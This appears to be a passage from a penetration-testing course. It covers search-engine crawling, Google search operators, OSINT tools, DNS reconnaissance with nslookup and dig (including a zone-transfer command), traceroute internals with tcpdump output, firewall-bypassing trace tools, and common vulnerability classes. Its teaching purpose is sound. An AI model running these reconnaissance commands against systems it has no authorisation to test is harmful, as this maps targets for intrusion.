ability to crawl, and index the web efficiently. The primary goal is to provide high quality search results
over a rapidly growing World Wide Web. Some of the efficient and recommended search engines are
Google, Yahoo and Teoma, which share some common features and are standardized to some extent.

This section provides an overview of how the whole system of a search engine works.
The major functions of the search engine crawling, indexing and searching are also covered in detail in
the later sections.

Before a search engine can tell you where a file or document is, it must be found. To find
information on the hundreds of millions of Web pages that exist, a typical search engine employs special
software robots, called spiders, to build lists of the words found on Web sites. When a spider is building
its lists, the process is called Web crawling. A Web crawler is a program, which automatically traverses
the web by downloading documents and following links from page to page. They are mainly used by
web search engines to gather data for indexing. Other possible applications include page validation,
structural analysis and visualization, update notification, mirroring and personal web assistants/agents
etc. Web crawlers are also known as spiders, robots, worms etc.
Crawlers are automated programs that follow the links found on the web pages.

There is a URL Server that sends lists of URLs to be fetched to the crawlers. The web pages that
are fetched are then sent to the store server. The store server then compresses and stores the web
pages into a repository. Every web page has an associated ID number called a doc ID, which is assigned
whenever a new URL is parsed out of a web page. The indexer and the sorter perform the indexing
function. The indexer performs a number of functions. It reads the repository, uncompresses the
documents, and parses them. Each document is converted into a set of word occurrences called hits.
The hits record the word, position in document, an approximation of font size, and capitalization. The
indexer distributes these hits into a set of "barrels", creating a partially sorted forward index. The
indexer performs another important unction. It parses out all the links in every web page and stores
important information about them in an anchors file. This file contains enough information to determine
where each link points from and to, and the text of the link.

The URL Resolver reads the anchors file and converts relative URLs into absolute URLs and in
turn into doc IDs. It puts the anchor text into the forward index, associated with the doc ID that the
anchor points to. It also generates a database of links, which are pairs of doc IDs. The links database is
used to compute Page Ranks for all the documents.
55
The sorter takes the barrels, which are sorted by doc ID and resorts them by word ID to generate
the inverted index. This is done in place so that little temporary space is needed for this operation. The
sorter also produces a list of word IDs and offsets into the inverted index. A program called Dump
Lexicon takes this list together with the lexicon produced by the indexer and generates a new lexicon to
be used by the searcher. A lexicon lists all the terms occurring in the index along with some term-level
statistics (e.g., total number of documents in which a term occurs) that are used by the ranking
algorithms The searcher is run by a web server and uses the lexicon built by Dump Lexicon together with
the inverted index and the Page Ranks to answer queries. (Brin and Page 1998)

3 How a Web Crawler Works

Web crawlers are an essential component to search engines; running a web crawler is a
challenging task. There are tricky performance and reliability issues and even more importantly, there
are social issues. Crawling is the most fragile application since it involves interacting with hundreds of
thousands of web servers and various name servers, which are all beyond the control of the system.
Web crawling speed is governed not only by the speed of one’s own Internet connection, but also by the
speed of the sites that are to be crawled. Especially if one is a crawling site from multiple servers, the
total crawling time can be significantly reduced, if many downloads are done in parallel.
Despite the numerous applications for Web crawlers, at the core they are all fundamentally the
same. Following is the process by which Web crawlers work:
1. Download the Web page.

2. Parse through the downloaded page and retrieve all the links.

3. For each link retrieved, repeat the process.

The Web crawler can be used for crawling through a whole site on the Inter-/Intranet. You
specify a start-URL and the Crawler follows all links found in that HTML page. This usually leads to more
links, which will be followed again, and so on. A site can be seen as a tree-structure, the root is the start-
URL; all links in that root-HTML-page are direct sons of the root. Subsequent links are then sons of the
previous sons.

Source: http://www.micsymposium.org/mics_2005/papers/paper89.pdf

Google advanced search operators

56
link: Shows you pages that point to the URL you specify. link:www.webtalentmarketing.com

site: or -site: The site looks at what is out there for the site you Site:webtalentmarketing.com or Web Talent Marketing -
choose. The -site looks for what everyone else has to site:www.webtalentmarketing.com
say about you.
[#]...[#] or numrange Search within a range of numbers. link building services $450...$1000 (search for link building
services between $450 and $1000
date: Search for a range of months. Content marketing articles date: 4

safesearch: Exclude adult content. safesearch:adult learning

info: Info about a page. info:www.webtalentmarketing.com

related: Related page. related:www.moz.com

intitle: Searches for the word in the title. intitle:inbound marketing

allintitle: Searches for every word in the title. allintitle:inbound marketing campaign

inurl: Searches for words in the url. inurl:ranking websites

allinurl: Searches for all words in the url. allinurl:ranking websites

filetype: or ext: Search for files with a specific extension. filetype:pdf web talent marketing

cache: Show Google's cached results of a specific page. cache:www.webtalentmarketing.com/blog

phonebook: or rphonebook: or View all, residential, and business listings. bphonebook:web talent marketing
bphonebook:
author: Search for an author of a newsgroup post. author:Marcus Howling

insubject: Search only the subjest of newsgroup post insubject: website optimization

“" (double quotes) Use quotes to search for exact match words or set of " Search Marketing Guides"
words. Great for proper nouns and expressions
* (asterisk) Use the asterisk as a placeholder for unknown or why did the * cross the road
wildcard terms.
OR Use capital OR to search for pages using one or Digital Marketing OR Content Marketing
several words.
- (minus sign) The dash before a word will exclude all the results that Panda and penguin -google -seo
include that word.
~ (tilde) Include the tilde sign before a word to search for that ~behavioral health
word and even more synonyms.
filetype: Use file type, to search for specific files like xml, jpeg, filetype: pdf
or pdf's.
.. (two periods) Two periods with no spaces to see results that contain Seo news 2013..2014
a range like dates and prices.
allintext: Allintext is used to restrict a search to only show allintext:Best Link building Tools
results with all of the keywords appearing in the body.
inanchor: Search for sites receiving branded backilinks from a inanchor:
specific term
Keyword + “top 10 resources"/"top Use when earching for top ten resources for a certain SEO + “top 10 resources"/"top resources"
resources" keyword. You can subsititute resources for things like
sites/"top sites," websites/"top websites, tools"/"top
tools," etc.
Keyword + “recommended Search for recommended or suggested resources for a seo + “recommended resources"/"suggested resources"
resources"/"suggested resources" given keyword. You can substitue recommended or
suggested with favorite.
Keyword + “useful sites"/"interesting Find useful or interesting sites on the topic of your Search Marketing + “useful sites"/"interesting sites"
sites" choice.
Keyword + “guide" Locate guides specific to a certain keyword. Content Marketing + “guide"
“list of + Keyword + sites" Find a list of sites for a certain term. “list of + SEO + sites"

Keyword + “news"/"industry news" News can be replaced with magazine or journal. Social Media Marketing + “news"/"industry news"

Keyword + “whitepapers" You can replace whitepaper with videos, podcast etc. Link Building Tactics + “whitepapers"

Keyword/yourCompetitorName + Find blogs to guest post on based on a specific word. Search Marketing/SEER + “guest blog"
“guest blog"
Keyword + site:wordpress.com You can replace wordpress with other blogs or sites. Analytics + site:wordpress.com

Keyword + intitle:"experts Find articles and sites that have experts, interview, Penguin 4 + intitle:"experts interview"
interview"/talk/discuss/answer talk, etc in title.
Keyword + “add a site"/"submit You can replace site with url or listing. SEO + “add a site"/"submit site"/"suggest site"/"post
site"/"suggest site"/"post site"/"recommend site"
site"/"recommend site"
Keyword + You can replace article with video, podcast, event, etc. Google Analytics+ add/submit/suggest/post/list/recommend
add/submit/suggest/post/list/ article
recommend article
Keyword +"add your business"/"list Find sites where you can list or add your business. Digital Marketing +"add your business"/"list your business"
your business"
Keyword + directory Find directories based on keywords. Content Marketing + directory

industryName + intitle:tools You can substitute intitle with inurl or replace tools with Search Engine Marketing + intitle:tools
badges, widgets & infographics.
industryName + You use the varations after the backslash. Search Engine Optimization + top/recommended/
top/recommended/useful/ useful/favorite/amazing/awesome tools
favorite/amazing/awesome tools
ProductName + review + You can replace review with ratings, comparisin, price, Mac Book Pro + review + site:wordpress.com
site:wordpress.com ect or replace wordpres with another site.
ProductName + intitle:review you can replace review with ratings, etc. Iphone 5c + intitle:review

industryName + site:quora.com Search questions and answers and you can replace Blogging + site:quora.com
quora with other q&a site.
industryName + site:facebook.com Find industry-specific social profiles. Technology + site:facebook.com

industryName + site:meetup.com Find industry-specific events. Marketing + site:meetup.com

<city-name> + Chamber of Find chanber of commerce sites. <Lancaster> + Chamber of commerce site:.<pa>.us
commerce site:.<state-code>.us
Google Hacking Database

Tool Description
Google hacking database Database of hacking related Google queries
https://www.exploit-db.com/google-
hacking-database/

Specialized search engines

Tool Description
Shodan Search engine for the Internet of Things
https://www.shodan.io/
Censys Search engine for the Internet of Things
https://censys.io

Lecture 2.3 Gathering technical information

Passive discovery
Start with Passive Discovery, which will search for information about the target, network, clients, and
more without ever touching the targeted host. This is great because it uses resources on the Internet
without ever alerting the target of any suspicious activity. You can also run all these look-ups prior to an
engagement to save you an immense about of time. Sometimes with a little Google hacking and Shodan
(http://www.shodanhq.com/) you’ll even actually find vulnerabilities before you even start testing, but
that’s another story.
Looking through Kali, there are many different tools for passive network/information discovery, but the
purpose again is to make it as straightforward as possible. You may find that you will need to spend
additional time performing passive discovery, but here is the quick and simple way to get off the ground.
Looking at the image below, we can see that there are a variety of tools within the Open Source
INTelligence (OSINT) folder in Kali. Going through each one of these tools and learning how to run them
will end up using a lot of unnecessary time. Luckily, someone has put these all together into a single
tool.
To solve this issue, a discovery framework was developed to quickly and efficiently identify passive
information about a company or network. This framework is through a tool called Discover-scripts
(previously called Backtrack-scripts) (https://github.com/leebaird/discover) by Lee Baird. This tool
automates a lot of different searches in one tool. For example, it can search people within that
organization or domains on all the common harvesting sites (e.g. LinkedIn), use common domain tools
(e.g. goofile, goog-mail, theHarvester, search_email_collector, mydnstools) and link to other 3 rd party
tools to perform additional searching.

Tool Description
TheHarvester Searches Google, Bing, LinkedIn, and PGP for gathering
hostnames, subdomains, email addresses, and usernames
Nslookup • If we know the domain name but don’t know the
IP address we proceed as follows: #nslookup
<target>.
• If we want to specify the DNS server that we want
to use: #nslookup -type = ns <target> <DNS IP to
use>.
Dig • Can use in place of (or to verify results of)
nslookup.
• Uses /etc/resolve .conf for the name server list.
• Dig <target>.
• To pull all the DNS records and print the query
(+qr): dig +qr <target> any.
• To perform a zone transfer: dig <@ns1
.nameserver> <target> axfr.
• Determine the bind version the name server is
using: dig +nocmd txt chaos VERSION.BIND
<@ns1.target> +noall +answer.
• To resolve the IP address to a domain name: dig
+nocmd +noall +answer -x IP.
• When resolving a domain name dig will take a
particular route. To see that route: dig +trace
<target>.

Active discovery

Active discovery is the process of trying to identify systems, services, and potential vulnerabilities. We
are going to target the network ranges specified in scope and scan them Whether you are scanning from
the internal or the external segments of the network, it is important to have the right tools to perform
active discovery.

Discovering IP-addresses;

PING

Ping is likely the most directly used ICMP-based command by an end user or administrator. The Ping
command sends an ICMP packet with a type of 8 and a code of 0 indicating this packet is an echo
request. Machines receiving this packet, and (usually by default) if configured to respond, will reply with
another ICMP packet with a type of 0 and code of 0 indicating an echo reply. A successful Ping and
response would indicate that the system queried is operating on the network or considered to be a “live
host.” A Ping request from a Windows platform will by default send the Ping request four times, while
Ping requests from a Linux hosts will continue trying to Ping until the request is canceled by the user. To
cancel a Linux Ping press the control and “c” keys on the keyboard. A successful and unsuccessful Ping
would look like this:
Live Host

Ping 192.168.1.1

Pinging 192.168.1.1 with 32 bytes of data:

Reply from 192.168.1.1: bytes=32 time=2ms TTL=64

Reply from 192.168.1.1: bytes=32 time=1ms TTL=64

Reply from 192.168.1.1: bytes=32 time=1ms TTL=64

Reply from 192.168.1.1: bytes=32 time<1ms TTL=64

Host Unreachable

Ping 192.168.1.200

Pinging 192.168.1.200 with 32 bytes of data:

Reply from 192.168.1.129: Destination host unreachable.

Reply from 192.168.1.129: Destination host unreachable.

Reply from 192.168.1.129: Destination host unreachable.

Reply from 192.168.1.129: Destination host unreachable.

Ping statistics for 192.168.1.200:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss)

Tracerouting;
How does standard traceroute work?

Network administrators and system administrators use this tool most commonly in their day to day
activities. Its basically a network diagnostic tool that is very handy. There are three main primary
objectives of traceroute tool. These objectives fulfilled by traceroute gives an insight to your network
problem.

The entire path that a packet travels through

Names and identity of routers and devices in your path

Network Latency or more specifically the time taken to send and receive data to each devices on the
path

Its a tool that can be used to very the path that your data will take to reach its destination, without
actually sending your data.

Each IP packet that you send on the internet has got a field called as TTL. TTL stands for Time To Live.
Although its called as Time To Live, its not actually the time in seconds, but its something else.

TTL is not measured by the no of seconds but the no of hops. Its the maximum number of hops that a
packet can travel through across the internet, before its discarded.

Hops are nothing but the computers, routers, or any devices that comes in between the source and the
destination.

What if there was no TTL at all?. If there was no TTL in an IP packet, the packet will flow endlessly from
one router to another and on and on forever searching for the destination. TTL value is set by the
sender inside his IP packet ( the person using the system, or sending the packet, is unaware of these
things going on under the hood, but is automatically handled by the operating system ).

If the destination is not found after traveling through too many routers in between ( hops ) and TTL
value becomes 0 (which means no further travel) the receiving router will drop the packet and informs
the original sender.

Original sender is informed that the TTl value exceeded and it cannot forward the packet further.

Let's say i need to reach 10.1.136.23 Ip address, and my default TTL value is 30 hops. Which means i can
travel a maximum of 30 hops to reach my destination, before which the packet is dropped.

But how will the routers in between determine the TTL value limit has reached. Each router that comes
in between the source and destination will go on reducing the TTL value before sending to the next
router. Which means if i have a default TTL value of 30, then my first router will reduce it to 29 and then
send that to the next router across the path.

The receiving router will make it 28 and send to the next and so on. If a router receives a packet with TTl
of 1 (which means no more further traveling, and no forwarding ), the packet is discarded. But the
router which discards the packet will inform the original sender that the TTL value has exceeded.!

The information send by the router receiving a packet with TTL of 1 back to the original sender is called
as "ICMP TTL exceeded messages". Of course in internet when you send something to a receiver, the
receiver will come to know the address of the sender.
Hence when an ICMP TTL exceeded message is sent by a router, the original sender will come to know
the address of the router.

Traceroute makes use of this TTL exceeded messages to find out routers that come across your path to
destination(Because these exceeded messages send by the router will contain its address).

But how does Traceroute uses TTL exceeded message to find out routers/hops in between?

You might be thinking, TTL exceeded messages are only send by the router that receives a packet with
TTL of 1. That's correct, every router in between you and your receiver will not send TTL exceeded
message. Then how will you find the address of all the routers/hops in between you and your
destination. Because the main purpose of Traceroute is to identify the hops between you and your
destination.

But you can exploit this behavior of sending TTL exceeded messages by routers/hops in between by
purposely sending an IP packet with a TTL value of 1.

See an example diagram of the whole process in the below diagram, where a sender does a traceroute
towards one of the servers a remote location.

Traceroute Working Explained

So let's say I want to do a traceroute to google's publicly available DNS server(8.8.8.8). My traceroute
command and its result will look something like the below.

root@workstation:~# traceroute -n 8.8.8.8

traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets

1 192.168.0.1 6.768 ms 6.462 ms 6.223 ms

2 183.83.192.1 5.842 ms 5.543 ms 5.288 ms

3 183.82.14.5 5.078 ms 6.755 ms 6.468 ms

4 183.82.14.57 20.789 ms 27.609 ms 27.931 ms

5 72.14.194.18 17.821 ms 17.652 ms 17.465 ms

6 66.249.94.170 19.378 ms 15.975 ms 23.017 ms

7 209.85.241.21 16.633 ms 16.607 ms 17.428 ms

8 8.8.8.8 17.144 ms 17.662 ms 17.228 ms

Let's see what's happening under the hood. When I fire that command of traceroute -n 8.8.8.8, what my
computer does is to make a UDP packet (Yeah its UDP. Don't worry we will be discussing this in detail ).
This UDP packet will contain the following things:

• My Source Address (Which is my IP address)

• Destination address (Which is 8.8.8.8)
• And a destination UDP port number which is invalid. Means the traceroute utility will send
packet to a UDP port in the range of 33434 to 33534, Which is normally unused.

So Let's see how this thing works.

Step 1: My Source address will make a packet with destination ip address of 8.8.8.8 and a destination
port number between 33434 to 33534. And the important thing it does it to make the TTL Value 1

Step 2: Of course my packet will reach my gateway server. On seeing receiving the packet my gateway
server will reduce the TTL by 1 (All routers/hops in between does this job of reducing the TTL value by
1). Once the TTL is reduced by the value of 1 (1-1= 0), the TTL value becomes zero. Hence my gateway
server will send me back a TTL Time exceeded message. Please remember that when my gateway server
sends a TTL exceeded message back to me, it will send the first 28 byte header of the initial packet i
send.

Step 3: On receiving this TTL Time exceeded message, my traceroute program will come to know the
source address and other details about the first hop (Which is my gateway server.).

Step 4: Now the traceroute program will again send the same UDP packet with the destination of
8.8.8.8, and a random UDP destination port between 33434 to 33534. But this time i will make the initial
TTL 2. This is because my gateway router will reduce it by 1 and then forwards that same packet which
send to the next hop/router (the packet send by my gateway to its next hop will have a TTL value of 1).

Step 5: On receiving UDP packet, the next hop to my gateway server will once again reduce it to 1 which
means now the TTL has once again become 0. Hence it will send me back a ICMP Time exceeded
message with its source address, and also the first 28 byte header of the packet which i send.

Step 6: On receiving that message of TTL Time Exceeded, my traceroute program will come to know
about that hop/routers IP address and it will show that on my screen.

Step 7: Now again my traceroute program will make a similar UDP packet with again a random udp port
with the destination address of 8.8.8.8. But this time the ttl value is made to 3, so that the ttl will
automatically become 0, when it reaches the third hop/router(Please remember that my gateway and
the next hop to it, will reduce it by 1 ). So that it will reply me with a TTL Time exceeded message, and
my traceroute program will come to know about that hop/routers IP address.

Step 8: On receiving that reply, the traceroute program will once again make a UDP packet with TTL
value of 4 this time. If i gets a TTL Time exceeded for that also, then my traceroute program will send a
UDP packet with TTL of 5 and so on.

But how will my traceroute program come to know that the final destination of 8.8.8.8 has reached. The
traceroute program will come to know about that because, when the original receiver of the packet
8.8.8.8 (remember that all UDP packet had a destination address of 8.8.8.8) gets the request it will send
me a message that will be completely different from all the messages of "TTL Time exceeded".

When the original receiver (8.8.8.8) gets my UDP packet, it will send me a "ICMP Destination/PORT
Unreachable" message. This is bound to happen because we are always sending a random UDP port
between 33434 to 33534. Hence my Traceroute program will come to know that we have reached the
final destination and will stop sending any further packets.

Now anything described in words is called a theory. We need to confirm this, by doing a tcpdump while
doing a traceroute. Let's see the tcpdump output. Please note that i will not show you the entire output
of tcpdump because it too long.

Run traceroute on one terminal of your linux machine. And on another terminal run the below tcpdump
command to see what happens.

root@workstation:~# tcpdump -n '(icmp or udp)' -vvv

12:13:06.585187 IP (tos 0x0, ttl 1, id 37285, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.43143 > 8.8.8.8.33434: [bad udp cksum 0xd157 -> 0x0e59!] UDP, length 32

12:13:06.585218 IP (tos 0x0, ttl 1, id 37286, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.38682 > 8.8.8.8.33435: [bad udp cksum 0xd157 -> 0x1fc5!] UDP, length 32

12:13:06.585228 IP (tos 0x0, ttl 1, id 37287, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.48381 > 8.8.8.8.33436: [bad udp cksum 0xd157 -> 0xf9e0!] UDP, length 32

12:13:06.585237 IP (tos 0x0, ttl 2, id 37288, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.57602 > 8.8.8.8.33437: [bad udp cksum 0xd157 -> 0xd5da!] UDP, length 32

12:13:06.585247 IP (tos 0x0, ttl 2, id 37289, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.39195 > 8.8.8.8.33438: [bad udp cksum 0xd157 -> 0x1dc1!] UDP, length 32

12:13:06.585256 IP (tos 0x0, ttl 2, id 37290, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.47823 > 8.8.8.8.33439: [bad udp cksum 0xd157 -> 0xfc0b!] UDP, length 32

12:13:06.585264 IP (tos 0x0, ttl 3, id 37291, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.52815 > 8.8.8.8.33440: [bad udp cksum 0xd157 -> 0xe88a!] UDP, length 32

12:13:06.585273 IP (tos 0x0, ttl 3, id 37292, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.51780 > 8.8.8.8.33441: [bad udp cksum 0xd157 -> 0xec94!] UDP, length 32

12:13:06.585281 IP (tos 0x0, ttl 3, id 37293, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.34782 > 8.8.8.8.33442: [bad udp cksum 0xd157 -> 0x2efa!] UDP, length 32

12:13:06.585290 IP (tos 0x0, ttl 4, id 37294, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.53015 > 8.8.8.8.33443: [bad udp cksum 0xd157 -> 0xe7bf!] UDP, length 32

12:13:06.585299 IP (tos 0x0, ttl 4, id 37295, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.58417 > 8.8.8.8.33444: [bad udp cksum 0xd157 -> 0xd2a4!] UDP, length 32

12:13:06.585308 IP (tos 0x0, ttl 4, id 37296, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.55943 > 8.8.8.8.33445: [bad udp cksum 0xd157 -> 0xdc4d!] UDP, length 32

12:13:06.585318 IP (tos 0x0, ttl 5, id 37297, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.33265 > 8.8.8.8.33446: [bad udp cksum 0xd157 -> 0x34e3!] UDP, length 32

12:13:06.585327 IP (tos 0x0, ttl 5, id 37298, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.53485 > 8.8.8.8.33447: [bad udp cksum 0xd157 -> 0xe5e5!] UDP, length 32

12:13:06.585335 IP (tos 0x0, ttl 5, id 37299, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.40992 > 8.8.8.8.33448: [bad udp cksum 0xd157 -> 0x16b2!] UDP, length 32

12:13:06.585344 IP (tos 0x0, ttl 6, id 37300, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.102.41538 > 8.8.8.8.33449: [bad udp cksum 0xd157 -> 0x148f!] UDP, length 32
The above output only shows the UDP packets my machine send.. I will show the reply messages
seperate to make this more clear.

Notice the TTL value on each line. It starts from TTL of 1 and then 2, and then 3 till TTL 6. But you might
be wondering why my server is sending 3 UDP messages with TTL value of 1 and then 2 and then 3.?

The reason behind this is to calculate an average Round Trip Time. Traceroute program sends three UDP
packets to each hop to measure the exact average round trip time. Round trip time is nothing but the
time it took to send and then receive the reply in milliseconds. I purposely didn't mention about this in
the beginning to avoid confusion.

So the bottom line is my traceroute program sends three UDP packets to each hop to simply calculate
the round trip average. because the traceroute output shows you those three values in its output.
Please see the traceroute output more closely. It shows three millisecond values for each hop. To get a
clear idea about the round trip time.

Now let's see the reply we got from all the hops through TCPDUMP. Please note that the reply messages
am showing below are part of the same tcpdump i did above, but showing you seperately to make this
more clear.

One more interesting thing to note is that each time my traceroute program is sending a different
random UDP port number. This is to identify the reply belonged to which packet. As told before the
reply messages send by the hops and destination contains the header of original packet we send, hence
traceroute program can accurately calculate the round trip time (For each three UDP packets send to
each hop), as it can easily identify the reply and correlate. The random port numbers are sort of
identifiers to identify the reply.

The reply messages looks like the below.

192.168.0.1 > 192.168.0.102: ICMP time exceeded in-transit, length 68

IP (tos 0x0, ttl 1, id 37285, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.1 > 192.168.0.102: ICMP time exceeded in-transit, length 68

IP (tos 0x0, ttl 1, id 37286, offset 0, flags [none], proto UDP (17), length 60)

183.83.192.1 > 192.168.0.102: ICMP time exceeded in-transit, length 60

IP (tos 0x0, id 37288, offset 0, flags [none], proto UDP (17), length 60)

192.168.0.1 > 192.168.0.102: ICMP time exceeded in-transit, length 68

IP (tos 0x0, ttl 1, id 37287, offset 0, flags [none], proto UDP (17), length 60)

Please note the ICMP time exceeded messages in the reply shown above (I have not shown all reply
messages).

Now let me show the final message which is different than the ICMP time exceeded message. This
messages is a destination port unreachable, as told before. And my traceroute program will come to
know that our destination has reached.

8.8.8.8 > 192.168.0.102: ICMP 8.8.8.8 udp port 33458 unreachable, length 68
 IP (tos 0x80, ttl 2, id 37309, offset 0, flags [none], proto UDP (17), length 60)

8.8.8.8 > 192.168.0.102: ICMP 8.8.8.8 udp port 33457 unreachable, length 68

IP (tos 0x80, ttl 1, id 37308, offset 0, flags [none], proto UDP (17), length 60)

8.8.8.8 > 192.168.0.102: ICMP 8.8.8.8 udp port 33459 unreachable, length 68

IP (tos 0x80, ttl 2, id 37310, offset 0, flags [none], proto UDP (17), length 60)

Note that there are three replies from 8.8.8.8 to my traceroute program. As told before traceroute
sends three similar UDP packets with different ports to simply calculate the round trip time. The final
destination is nothing different.

Different types of Traceroute program

There are different types of traceroute programs. Each of them works slightly differently. But the overall
concept behind each of them is the same. All of them uses the TTL value.

Why different implementations? That because you can use the one which is applicable to your
environment. If suppose A firewall block the UDP traffic then you can use another traceroute for this
purpose. The different types are mentioned below.

• UDP Traceroute
• ICMP traceroute
• TCP Traceroute

The one we used previously is UDP traceroute. Its the default protocol used by linux traceroute
program. However you can ask our traceroute utility in linux to use ICMP instead of UDP by the below
command.

root@workstation:~# traceroute -I -n 8.8.8.8

ICMP for traceroute works the same way as UDP traceroute. Traceroute program will send ICMP Echo
Request messages and the hops in between will reply with a ICMP Time exceeded messages. But the
final destination will reply with ICMP Echo reply.

Tracert command available in windows operating system by default uses ICMP traceroute method.

Now the last is the most interesting one. Its called TCP traceroute. Its used because almost all firewall
and routers in between allows you to send TCP traffic. And if the packet is toward port 80, which is the
web traffic then most of the routers allow that packet. TCPTRACEROUTE by default sends TCP SYN
requests to port 80.

Additional traceroute tools

Tool Description
Itrace • This tool has the potential of bypassing a firewall
via an ICMP echo.
• itrace -I eth0 -d IP.
Tcptraceroute • Potentially able to bypass a firewall
• tcptraceroute <target>
Tctrace • Uses TCP SYN
• tctrace -i eth0 -d IP
Chapter 3 Vulnerability Analysis
Lecture 3.1 Types of vulnerabilities
Vulnerabilities
Most software security vulnerabilities fall into one of a small set of categories:

 buffer overflows
 unvalidated input
 race conditions
 access-control problems
 weaknesses in authentication, authorization, or cryptographic practices

This chapter describes the nature of each type of vulnerability.

Buffer Overflows

A buffer overflow occurs when an application attempts to write data past the end (or, occasionally, past
the beginning) of a buffer.

Buffer overflows can cause applications to crash, can compromise data, and can provide an attack
vector for further privilege escalation to compromise the system on which the application is running.

Books on software security invariably mention buffer overflows as a major source of vulnerabilities.
Exact numbers are hard to come by, but as an indication, approximately 20% of the published exploits
reported by the United States Computer Emergency Readiness Team (US-CERT) for 2004 involved buffer
overflows.

Any application or system software that takes input from the user, from a file, or from the network has
to store that input, at least temporarily. Except in special cases, most application memory is stored in
one of two places:

stack—A part of an application’s address space that stores data that is specific to a single call to a
particular function, method, block, or other equivalent construct.

heap—General purpose storage for an application. Data stored in the heap remains available as long as
the application is running (or until the application explicitly tells the operating system that it no longer
needs that data).

Class instances, data allocated with malloc, core foundation objects, and most other application data
resides on the heap. (Note, however, that the local variables that actually point to the data are stored in
the stack.)
Buffer overflow attacks generally occur by compromising either the stack, the heap, or both. For more
information, read Avoiding Buffer Overflows and Underflows

Unvalidated Input

As a general rule, you should check all input received by your program to make sure that the data is
reasonable.

For example, a graphics file can reasonably contain an image that is 200 by 300 pixels, but cannot
reasonably contain an image that is 200 by -1 pixels. Nothing prevents a file from claiming to contain
such an image, however (apart from convention and common sense). A naive program attempting to
read such a file would attempt to allocate a buffer of an incorrect size, leading to the potential for a
heap overflow attack or other problem. For this reason, you must check your input data carefully. This
process is commonly known as input validation or sanity checking.

Any input received by your program from an untrusted source is a potential target for attack. (In this
context, an ordinary user is an untrusted source.) Examples of input from an untrusted source include
(but are not restricted to):

 text input fields

 commands passed through a URL used to launch the program
 audio, video, or graphics files provided by users or other processes and read by the program
 command line input
 any data read from an untrusted server over a network
 any untrusted data read from a trusted server over a network (user-submitted HTML or photos
on a bulletin board, for example)

Hackers look at every source of input to the program and attempt to pass in malformed data of every
type they can imagine. If the program crashes or otherwise misbehaves, the hacker then tries to find a
way to exploit the problem. Unvalidated-input exploits have been used to take control of operating
systems, steal data, corrupt users’ disks, and more. One such exploit was even used to “jail break”
iPhones.

Validating Input and Interprocess Communication describes common types of input-validation

vulnerabilities and what to do about them.

Race Conditions

A race condition exists when changes to the order of two or more events can cause a change in
behavior. If the correct order of execution is required for the proper functioning of the program, this is a
bug. If an attacker can take advantage of the situation to insert malicious code, change a filename, or
otherwise interfere with the normal operation of the program, the race condition is a security
vulnerability. Attackers can sometimes take advantage of small time gaps in the processing of code to
interfere with the sequence of operations, which they then exploit.

For more information about race conditions and how to prevent them, read Race Conditions and Secure
File Operations.

Interprocess Communication

Separate processes—either within a single program or in two different programs—sometimes have to

share information. Common methods include using shared memory or using some messaging protocol,
such as Sockets, provided by the operating system. These messaging protocols used for interprocess
communication are often vulnerable to attack; thus, when writing an application, you must always
assume that the process at the other end of your communication channel could be hostile.

For more information on how to perform secure interprocess communication, read Validating Input and
Interprocess Communication.

Insecure File Operations

In addition to time-of-check–time-of-use problems, many other file operations are insecure.

Programmers often make assumptions about the ownership, location, or attributes of a file that might
not be true. For example, you might assume that you can always write to a file created by your program.
However, if an attacker can change the permissions or flags on that file after you create it, and if you fail
to check the result code after a write operation, you will not detect the fact that the file has been
tampered with.

Examples of insecure file operations include:

 writing to or reading from a file in a location writable by another user

 failing to make the right checks for file type, device ID, links, and other settings before using a
file
 failing to check the result code after a file operation
 assuming that if a file has a local pathname, it has to be a local file
 These and other insecure file operations are discussed in more detail in Securing File
Operations.

Access Control Problems

Access control is the process of controlling who is allowed to do what. This ranges from controlling
physical access to a computer—keeping your servers in a locked room, for example—to specifying who
has access to a resource (a file, for example) and what they are allowed to do with that resource (such
as read only). Some access control mechanisms are enforced by the operating system, some by the
individual application or server, some by a service (such as a networking protocol) in use. Many security
vulnerabilities are created by the careless or improper use of access controls, or by the failure to use
them at all.

Much of the discussion of security vulnerabilities in the software security literature is in terms of
privileges, and many exploits involve an attacker somehow gaining more privileges than they should
have. Privileges, also called permissions, are access rights granted by the operating system, controlling
who is allowed to read and write files, directories, and attributes of files and directories (such as the
permissions for a file), who can execute a program, and who can perform other restricted operations
such as accessing hardware devices and making changes to the network configuration. File permissions
and access control in OS X are discussed in File System Programming Guide.

Of particular interest to attackers is the gaining of root privileges, which refers to having the
unrestricted permission to perform any operation on the system. An application running with root
privileges can access everything and change anything. Many security vulnerabilities involve
programming errors that allow an attacker to obtain root privileges. Some such exploits involve taking
advantage of buffer overflows or race conditions, which in some special circumstances allow an attacker
to escalate their privileges. Others involve having access to system files that should be restricted or
finding a weakness in a program—such as an application installer—that is already running with root
privileges. For this reason, it’s important to always run programs with as few privileges as possible.
Similarly, when it is necessary to run a program with elevated privileges, you should do so for as short a
time as possible.

Much access control is enforced by applications, which can require a user to authenticate before
granting authorization to perform an operation. Authentication can involve requesting a user name and
password, the use of a smart card, a biometric scan, or some other method. If an application calls the OS
X Authorization Services application interface to authenticate a user, it can automatically take
advantage of whichever authentication method is available on the user’s system. Writing your own
authentication code is a less secure alternative, as it might afford an attacker the opportunity to take
advantage of bugs in your code to bypass your authentication mechanism, or it might offer a less secure
authentication method than the standard one used on the system. Authorization and authentication are
